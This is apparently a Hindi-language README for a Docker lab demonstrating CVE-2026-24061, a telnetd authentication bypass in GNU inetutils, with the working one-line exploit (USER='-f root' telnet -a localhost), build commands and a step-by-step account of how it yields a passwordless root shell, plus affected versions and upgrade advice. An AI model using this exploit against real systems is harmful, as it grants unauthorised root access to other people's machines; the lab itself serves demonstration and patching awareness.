
यह एक सरल PoC है जो आपको वर्तमान में चल रहे और सक्रिय रूप से शोषित Telnet बग की गंभीरता को उजागर करने की अनुमति देता है। लोग अभी भी Telnet का उपयोग क्यों कर रहे हैं... मेरी समझ से परे है।
CVE-2026-24061 को प्रदर्शित करने के लिए एक Docker लैब — GNU inetutils telnetd में एक गंभीर प्रमाणीकरण बाईपास भेद्यता जो 11 वर्षों तक अनपैच रही।
Telnetd USER पर्यावरण चर को बिना किसी सैनिटाइज़ेशन के सीधे /usr/bin/login को पास करता है। login बाइनरी में एक -f फ्लैग होता है जो प्रमाणीकरण को छोड़ देता है (पूर्व-प्रमाणित सत्रों के लिए अभिप्रेत)। USER='-f root' सेट करके, एक हमलावर login को बिना पासवर्ड के रूट एक्सेस देने के लिए धोखा देता है।
प्रभावित संस्करण: GNU inetutils 1.9.3 (मार्च 2015) से 2.7 तक CVSS स्कोर: 9.8 (क्रिटिकल) समाधान: inetutils 2.8+ में अपडेट करें
# इमेज बनाएं
docker build -t telnetd-exploit .
# कंटेनर चलाएं (आपको user1 के रूप में शेल में डालता है)
docker run --rm -it telnetd-exploit
# एक्सप्लॉइट — बिना पासवर्ड के रूट प्राप्त करें
USER='-f root' telnet -a localhost
आप रूट शेल में पहुंच जाएंगे। पुष्टि करने के लिए whoami चलाएं।
1. क्लाइंट कनेक्ट करता है: USER='-f root' telnet -a localhost
2. telnetd USER पर्यावरण चर प्राप्त करता है: "-f root"
3. telnetd निष्पादित करता है: /usr/bin/login -f root
4. login -f को "प्रमाणीकरण छोड़ें, उपयोगकर्ता पूर्व-सत्यापित है" के रूप में व्याख्या करता है
5. हमलावर को रूट शेल मिलता है — कोई पासवर्ड आवश्यक नहीं
-f फ्लैग वैध है — यह उन परिदृश्यों के लिए है जहां उपयोगकर्ता पहले से प्रमाणित है (जैसे, विश्वसनीय स्थानीय सत्र से)। बग यह है कि telnetd login को पास करने से पहले USER चर को सैनिटाइज़ नहीं करता, जिससे दूरस्थ हमलावर फ्लैग इंजेक्ट कर सकते हैं।
जनवरी 2026 तक:
इस बग के बिना भी, Telnet सब कुछ प्लेनटेक्स्ट में प्रसारित करता है — पासवर्ड सहित। इसके बजाय SSH का उपयोग करें।
| प्रोटोकॉल | एन्क्रिप्शन | प्रमाणीकरण |
|---|---|---|
| Telnet | कोई नहीं | प्लेनटेक्स्ट |
| SSH | हाँ | कुंजी/पासवर्ड |
.
├── Dockerfile # भेद्य Debian कंटेनर बनाता है
├── docker-entrypoint.sh # inetd शुरू करता है, user1 पर गिरता है
└── README.md
लैब leonjza/inetutils-telnetd-auth-bypass पर आधारित है